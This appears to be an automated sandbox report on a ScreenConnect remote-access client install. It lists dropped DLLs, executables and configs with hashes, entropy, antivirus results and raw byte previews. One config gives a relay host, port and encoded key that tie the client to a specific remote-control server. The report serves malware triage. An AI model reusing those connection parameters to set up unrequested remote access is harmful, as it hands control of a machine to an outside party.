                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]..........."...0.............".... ... ....@.. .......................`......0.....@.....................................O.... .................. )...@......$...8............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......LC..X.............................................................{D...*..{E...*V.(F.....}D.....}E...*...0..A........u1.......4.,/(G....{D....{D...oH...,.(I....{E....{E...oJ...*.*.*. }.o )UU.Z(G....{D...oK...X )UU.Z(I....{E...oL...X*...0..b........r...p......%..{D......%q4....4...-.&.+...4...oM....%..{E......%q5....5...-.&.+...5...oM....(N...*..{O...*..{P...*V.(F.....}O.....}P...*.0..A........u6.......4.,/(G....{O....{O...oH...,.(I....{P....{P...oJ...*.*.*. 1.c. )UU.

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe.config

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):266
                                                                                        Entropy (8bit):4.842791478883622
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
                                                                                        MD5:728175E20FFBCEB46760BB5E1112F38B
                                                                                        SHA1:2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
                                                                                        SHA-256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
                                                                                        SHA-512:FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsCredentialProvider.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):842248
                                                                                        Entropy (8bit):6.268561504485627
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:q9vy8YABMuiAoPyEIrJs7jBjaau+EAaMVtw:P8Y4MuiAoPyZrJ8jrvDVtw
                                                                                        MD5:BE74AB7A848A2450A06DE33D3026F59E
                                                                                        SHA1:21568DCB44DF019F9FAF049D6676A829323C601E
                                                                                        SHA-256:7A80E8F654B9DDB15DDA59AC404D83DBAF4F6EAFAFA7ECBEFC55506279DE553D
                                                                                        SHA-512:2643D649A642220CEEE121038FE24EA0B86305ED8232A7E5440DFFC78270E2BDA578A619A76C5BB5A5A6FE3D9093E29817C5DF6C5DD7A8FBC2832F87AA21F0CC
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}....}H..}H..}H.d~I..}H.dxIG.}H.dyI..}H..xI..}H..yI..}H..~I..}H..|H8.}H..}H..}H2.}I..}H2..I..}HRich..}H........PE..d.....Gf.........." ...'.P...........H....................................... ......q.....`......................................... ...t....................P...y.......(......,4.....T.......................(.......@............`...............................text....O.......P.................. ..`.rdata...z...`...|...T..............@..@.data....d.......0..................@....pdata...y...P...z..................@..@_RDATA...............z..............@..@.reloc..,4.......6...|..............@..B................................................................................................................................................................................................................................................................

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsFileManager.exe

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):81696
                                                                                        Entropy (8bit):5.861320173003981
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:QtyCl44uzbexI5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7AB7gxv:78BxukLdEBY
                                                                                        MD5:2C158A30F7274E1931860E434DE808A2
                                                                                        SHA1:F649A56C9A598117D68CC6999627A937305DB6C7
                                                                                        SHA-256:B623E67BEA356C1793F3C921C5838719ED8B879EFCD966E97EE753498B1618B5
                                                                                        SHA-512:14BD481BF183CACAE210EB06AFF04870C6D53D3E7F095EA7F96A7EA227167E6A38EB20C9EDE9F36BF23D02C36182A463239B3A835D0BD28E8666C378F76FE64D
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)............"...0..@...........^... ...`....@.. .......................`...... .....@..................................^..O....`.................. )...@.......]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc........`.......B..............@..@.reloc.......@......................@..B.................^......H....... +..@2..................`]........................................(....*^.(.......;...%...}....*:.(......}....*:.(......}....*:.(......}....*....0..........s>....(....(....(....(....(.....(....(......s....}B....s....}C....~@...%-.&~?.....<...s ...%.@...o...+.....@...s ...o...+......A...s!...o...+}D.......B...s"...o...+.......(#...&......(#...& .... ...........($...&s....t......r...prs..p(%...(&...~>...%-.&...'...s(...%.>.....A...().......(*........(+...o,...(-...t....

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsFileManager.exe.config

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):266
                                                                                        Entropy (8bit):4.842791478883622
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
                                                                                        MD5:728175E20FFBCEB46760BB5E1112F38B
                                                                                        SHA1:2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
                                                                                        SHA-256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
                                                                                        SHA-512:FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\system.config

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (470), with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):960
                                                                                        Entropy (8bit):5.761130718146684
                                                                                        Encrypted:false
                                                                                        SSDEEP:24:2dL9hK6E4dl/5dhuxlPH5ejiThPJ7+qHvH:chh7HH5dgxJ5jf7+qHv
                                                                                        MD5:F4F4DA0A79377953DC66B07CA328DDBB
                                                                                        SHA1:F9A58501DE58E20FE3A8864178D83140281EDF6B
                                                                                        SHA-256:86ADB8449899E682C6E582ECCB968DE54D17C414F1AB8A430C49B7EBF015C5B1
                                                                                        SHA-512:B9D2475EE63710C7772B242888DEBCA505B712B670459A5AC2E88DB6A73CF7727B89175BF94E74BD4E2F345853F804A0B747211764DA84A5FBE4EA78995B162C
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="ClientLaunchParametersConstraint" serializeAs="String">.. <value>?h=instance-xkznvd-relay.screenconnect.com&amp;p=443&amp;k=BgIAAACkAABSU0ExAAgAAAEAAQBhw2Nfb6ZuPKlEDIhhDVtAYuyd858SiHfXVlo7oudUHFIakFl%2fPS5vluFfI688c%2ffI5cXvCjgFShXpqsjscRe%2bvZHKSRm%2bteuE97Q6NBZ5oegi61HDzK9%2bJY6drnQvjn5O3W4R13ZtTHxRqVi92KIEihsQur1J2%2fL4Cjo7mR%2bTf3z2FvvhBA9AI44ir3hX7T6YCeKwSXIGWSjwulU6qmSUa0YOa6ak5ubRKh%2fug0gS3wbeTgSuaLTj1hdcHea2xRvqMqyIWF1MOawExDdmH4KtYMuNWGxsLao6ChTQtObulDnOQ2rzUTbk681GAIKtEvzer9DayT7dfK5gHsogR7Cx</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):1310720
                                                                                        Entropy (8bit):1.3073701773441193
                                                                                        Encrypted:false
                                                                                        SSDEEP:3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrf:KooCEYhgYEL0In
                                                                                        MD5:B860326E92840CB7CD56CB3E63863F4A
                                                                                        SHA1:C636963358E7BCC762F81F86AD08837A16530339
                                                                                        SHA-256:D9F354042DD254AD3EF86A845DDC42741BF30043E4EC4B97B143FA8271D88C92
                                                                                        SHA-512:DB40CADF466B002D1D1331ACA62484A449C48A3B92D8D6DCCCD90E634A4E588F1F707027D32DFA1D27774514DD13D0DD5CDAD9B95D35F1D462F478BED7CADDAB
                                                                                        Malicious:false
                                                                                        Preview:z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                        File Type:Extensible storage engine DataBase, version 0x620, checksum 0x0826b091, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                        Category:dropped
                                                                                        Size (bytes):1310720
                                                                                        Entropy (8bit):0.42217173987301654
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
                                                                                        MD5:176E8C333947C521D297D6E77C426418
                                                                                        SHA1:AF903F56A52DD5B3F73AA7F493A160FC8CAF00A5
                                                                                        SHA-256:DF1B33FBCACBF28F6F64619D33387BDCCEC2224EC43AAB2F58D9BB95FF8A2D4E
                                                                                        SHA-512:91167EE87CA2984AB35F77EBD2675EF105D88FFB48E7DDCDAE2AC6B22763198DDC3493369C234CC0453AEF2A9495B9FA4BE6D28E82FCA2866F3C24690367A048
                                                                                        Malicious:false
                                                                                        Preview:.&..... .......A.......X\...;...{......................0.!..........{A......|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................u.......|..................?.......|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):16384
                                                                                        Entropy (8bit):0.07615075258281984
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:n4YefNrlkjn13a/3FX+6rtillcVO/lnlZMxZNQl:4zfNxk53q1X+60Oewk
                                                                                        MD5:1BD69135F85A7B144C0B5C33A9C80D6C
                                                                                        SHA1:4218926DBF223DFBB2445B750D04C52C5058D410
                                                                                        SHA-256:497FA9D4851B816D6E8CDB29C7DC1D81CE0A310DA68EFBF22C1ADB95154931A0
                                                                                        SHA-512:0AA18AC9C1377FEED02ADA707E10DAB236353975BD9BB904942FCD24CA852F6E6844908AE3FEAC55E92C47DC153A4ED027416BAF214DD9A3BDA588A4EFD2D38D
                                                                                        Malicious:false
                                                                                        Preview:.........................................;...{.......|.......{A..............{A......{A..........{A]................?.......|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):746
                                                                                        Entropy (8bit):5.349174276064173
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhaOK9eDLI4MNJK9P/JNTK9yirkvoDLb:ML9E4KlKDE4KhKiKhPKIE4oKNzKogE4P
                                                                                        MD5:ED994980CB1AABB953B2C8ECDC745E1F
                                                                                        SHA1:9E9D3E00A69FC862F4D3C30F42BF26693A2D2A21
                                                                                        SHA-256:D23B54CCF9F6327FE1158762D4E5846649699A7B78418D056A197835ED1EBE79
                                                                                        SHA-512:61DFC93154BCD734B9836A6DECF93674499FF533E2B9A1188886E2CBD04DF35538368485AA7E775B641ADC120BAE1AC2551B28647951C592AA77F6747F0E9187
                                                                                        Malicious:false
                                                                                        Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, InstallShield self-extracting archive
                                                                                        Category:dropped
                                                                                        Size (bytes):1110630
                                                                                        Entropy (8bit):7.800118817272725
                                                                                        Encrypted:false
                                                                                        SSDEEP:24576:QUUGGVA5kuQ7Ye80NncfI59+5lwXoTl2cx:jGVyk7cer5IIvXobx
                                                                                        MD5:845B0569D54305E62C6E8FFE198D217C
                                                                                        SHA1:CD06C3D1554FE08099ADA4F4448A23A6422E6234
                                                                                        SHA-256:4DA6C507C746CD07CA4546E723D0D145BBF4D26FF8DE13F1A0750EF323A89A2E
                                                                                        SHA-512:AF45BB8199F2AF323B9954DA0D11EED51459708608D356BC40BD9D9189C02C2C902F533077724DD7C6A7068E564B5C8F621EF1032098CEF26ED26D5BF26E23FE
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.c.2.0.2.0.2.0..|0.2.0..H0.2.0.Jq0.2.0.2.0.2.0..I0.2.0..y0.2.0..x0.2.0...0.2.0Rich.2.0................PE..L...9..P...........!.........H.......i.......................................p............@..............................*..l...x....@.......................P..d.......................................@...............h............................text............................... ..`.rdata..............................@..@.data....-..........................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\CustomAction.config

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):228
                                                                                        Entropy (8bit):5.069688959232011
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:JiMVBdTMkI002VymRMT4/0xko57VrzW57VNQeuAW4QIT:MMHd41p2VymhsbOF93xT
                                                                                        MD5:EB99EE012EB63C162EEBC1DF3A15990B
                                                                                        SHA1:D48FD3B3B942C754E3588D91920670C087FCE7E9
                                                                                        SHA-256:C5045C2D482F71215877EB668264EE47E1415792457F19A5A55651C3554CC7CD
                                                                                        SHA-512:455EC01953EC27186FBEAD17C503B7F952474A80B41E986494697497ECEAB130AD81A5561373D6762B71EEC473D8E37CDE742F557E50233F7EB0E8FB8B0BE4AD
                                                                                        Malicious:false
                                                                                        Preview:.<?xml version="1.0" encoding="utf-8" ?>..<configuration>...<startup useLegacyV2RuntimeActivationPolicy="true">....<supportedRuntime version="v4.0" />....<supportedRuntime version="v2.0.50727" />...</startup>..</configuration>

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.Compression.Cab.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):49152
                                                                                        Entropy (8bit):4.62694170304723
                                                                                        Encrypted:false
                                                                                        SSDEEP:768:sqbC2wmdVdX9Y6BCH+C/FEQl2ifnxwr02Gy/G4Xux+bgHGvLw4:sAtXPC/Cifnxs02Gyu4Xu0MeR
                                                                                        MD5:77BE59B3DDEF06F08CAA53F0911608A5
                                                                                        SHA1:A3B20667C714E88CC11E845975CD6A3D6410E700
                                                                                        SHA-256:9D32032109FFC217B7DC49390BD01A067A49883843459356EBFB4D29BA696BF8
                                                                                        SHA-512:C718C1AFA95146B89FC5674574F41D994537AF21A388335A38606AEC24D6A222CBCE3E6D971DFE04D86398E607815DF63A54DA2BB96CCF80B4F52072347E1CE6
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ........... ........... ...............................$....@....................................O.................................................................................... ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.Compression.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):36864
                                                                                        Entropy (8bit):4.340550904466943
                                                                                        Encrypted:false
                                                                                        SSDEEP:384:GqJxldkxhW9N5u8IALLU0X9Z1kTOPJlqE:GqJxl6xsPIA9COxlqE
                                                                                        MD5:4717BCC62EB45D12FFBED3A35BA20E25
                                                                                        SHA1:DA6324A2965C93B70FC9783A44F869A934A9CAF7
                                                                                        SHA-256:E04DE7988A2A39931831977FA22D2A4C39CF3F70211B77B618CAE9243170F1A7
                                                                                        SHA-512:BB0ABC59104435171E27830E094EAE6781D2826ED2FC9009C8779D2CA9399E38EDB1EC6A10C1676A5AF0F7CACFB3F39AC2B45E61BE2C6A8FE0EDB1AF63A739CA
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0..`... .......~... ........... ....................................@.................................X~..O................................... }............................................... ............... ..H............text....^... ...`.................. ..`.rsrc................p..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):57344
                                                                                        Entropy (8bit):4.657268358041957
                                                                                        Encrypted:false
                                                                                        SSDEEP:768:BLNru62y+VqB4N5SBcDhDxW7ZkCmX2Qv1Sf0AQdleSBRxf+xUI3:BJ2yUGmh2O11AsleyRxf+xt
                                                                                        MD5:A921A2B83B98F02D003D9139FA6BA3D8
                                                                                        SHA1:33D67E11AD96F148FD1BFD4497B4A764D6365867
                                                                                        SHA-256:548C551F6EBC5D829158A1E9AD1948D301D7C921906C3D8D6B6D69925FC624A1
                                                                                        SHA-512:E1D7556DAF571C009FE52D6FFE3D6B79923DAEEA39D754DDF6BEAFA85D7A61F3DB42DFC24D4667E35C4593F4ED6266F4099B393EFA426FA29A72108A0EAEDD3E
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ........... ........... ....................... .......t....@.....................................O...................................`................................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.WindowsInstaller.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):176128
                                                                                        Entropy (8bit):5.775360792482692
                                                                                        Encrypted:false
                                                                                        SSDEEP:3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
                                                                                        MD5:5EF88919012E4A3D8A1E2955DC8C8D81
                                                                                        SHA1:C0CFB830B8F1D990E3836E0BCC786E7972C9ED62
                                                                                        SHA-256:3E54286E348EBD3D70EAED8174CCA500455C3E098CDD1FCCB167BC43D93DB29D
                                                                                        SHA-512:4544565B7D69761F9B4532CC85E7C654E591B2264EB8DA28E60A058151030B53A99D1B2833F11BFC8ACC837EECC44A7D0DBD8BC7AF97FC0E0F4938C43F9C2684
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ......~.... ........... ..............................!|....@.................................,...O.................................................................................... ............... ..H............text....w... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Core.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):546304
                                                                                        Entropy (8bit):6.03286879586464
                                                                                        Encrypted:false
                                                                                        SSDEEP:6144:hAUz5UEsIXxk3QCLKSkGEexE77VcYbUinCLrDfElYzMsdqe1J6tMznSAiOUfw8qg:hK67tEshnkDfyt9MznZd8PTIP8
                                                                                        MD5:3B1BA4BEBEFDC8A95B0F2F0B4E50C527
                                                                                        SHA1:15551D2E8BFB829F3A96D161B43DE820C0D417CE
                                                                                        SHA-256:A843B3A4549C43EF5BD8470CACF5D2F0F3B3C8110441FCC10079FACC7DB3DE29
                                                                                        SHA-512:F41595586CD5330537F5F02B392310B028E36F618E2583D125430ECD103EBBF6D2CF6BEFCFB1B32279EEB9FD7EF018F49131E3906FB61BC324DA85D93A9A18C7
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..N...........i... ........... ....................................@..................................h..O.......t...........................<h..8............................................ ............... ..H............text...@M... ...N.................. ..`.rsrc...t............P..............@..@.reloc...............T..............@..B.................i......H........@...&...................g........................................{:...*..{;...*V.(<.....}:.....};...*...0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...*.*.*. ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X*...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D...*..{E...*..{F...*V.(<.....}E.....}F...*.0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...*.*.*. F.b# )UU.

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.InstallerActions.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):22016
                                                                                        Entropy (8bit):5.19884453207748
                                                                                        Encrypted:false
                                                                                        SSDEEP:384:SBHH+yElQjHVPioy4cDphaC/GeXczrMRbx1kjvdNU5yYoJ37dbr9DO:hrCtPcDCyXcMJ5yp7dbtO
                                                                                        MD5:9260AFE4BBDE2549FC0B92F657C2E50A
                                                                                        SHA1:5580778A62B06D7B56D3F788727514551DE31647
                                                                                        SHA-256:588D3A5E1B91D3756F74EA61C9C1B5F7871AF924FAB469CEBB579F8AEB2FC135
                                                                                        SHA-512:AFCE644EE04813E1E323B719E8AD3CFEFE6E20AD0AA821F1325B8E0AE0144A7CFF4E0F1F4B6F45DF33F060392F94BCFD88D62B2218FD0BC573D65A20D80E968B
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....zJ..........." ..0..N.........."m... ........... ....................................@..................................l..O................................... l..8............................................ ............... ..H............text...(M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................m......H........2...9...................k........................................(....*^.(......./...%...}....*:.(......}....*:.(......}....*:.(......}....*....0..h.......s#......}.....s....}.....{....r...p(......,h.{....r...p......%...(.....rS..p.(....~....%-.&~......"...s....%......(...+%-.&+.(.......$...s....(...+&.{....o....-!.{.....{.....{....rc..po....(.....{....o.........{.....{.....{....r}..po....(.....{....o....-..{....r...p......(.....*.{....s .....-..o!.......{....r}..p.o

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Windows.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):1721344
                                                                                        Entropy (8bit):6.638160977312247
                                                                                        Encrypted:false
                                                                                        SSDEEP:24576:jQNtbLFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTs5:jebLJkGYYpT0+TFiH7efP
                                                                                        MD5:D196174CF03F86C8776E717F07D5D19F
                                                                                        SHA1:BBD2C6A59229B3E4EC7C5742248F3F55A61DD216
                                                                                        SHA-256:A1EDD67A131505CC84D76601474C53874A56B5437B835838E4A866E20F6CD264
                                                                                        SHA-512:CF4D159BCB42A1A7EA03F8877736CACE109AE79998906B9178C74F7A9B63030CDDC2BC94EF6C5F718E99C2D0039CF3589F8C4F2BF5B67DB94B3B96D2C988B45B
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....A............" ..0..<..........Z[... ...`....... ....................................@..................................[..O....`..|...........................dZ..8............................................ ............... ..H............text...h;... ...<.................. ..`.rsrc...|....`.......>..............@..@.reloc...............B..............@..B................;[......H.......,...................0....Y........................................()...*^.()..........%...}....*:.().....}....*:.().....}....*:.().....}....*..s*...*..s+...*:.(,.....(-...*..{....*"..}....*J.(/........(0...&*:.(,.....(1...*..{2...*"..}2...*.0..(........(3......+.............(0...&..X....i2.*v.(,....s4...}.....s5...}....*v.{.....r...p(...+.....o7....*.0...........o8....+..o9......(...+&.o....-....,..o......*..........."........{..........o:...&.......(.....*....0..L...

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\TransformAppConfigXml.xsl

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:exported SGML document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):5358
                                                                                        Entropy (8bit):5.152842845836485
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:6al5t7Bh14CGwFTwGqwFdwwA14XFUjF4OSMS5+ZL+FKwsiMS6g/VMS5JtD9FmoG6:6dQmN6MSzOE9FEFWFqFWcNH0eSYIZj
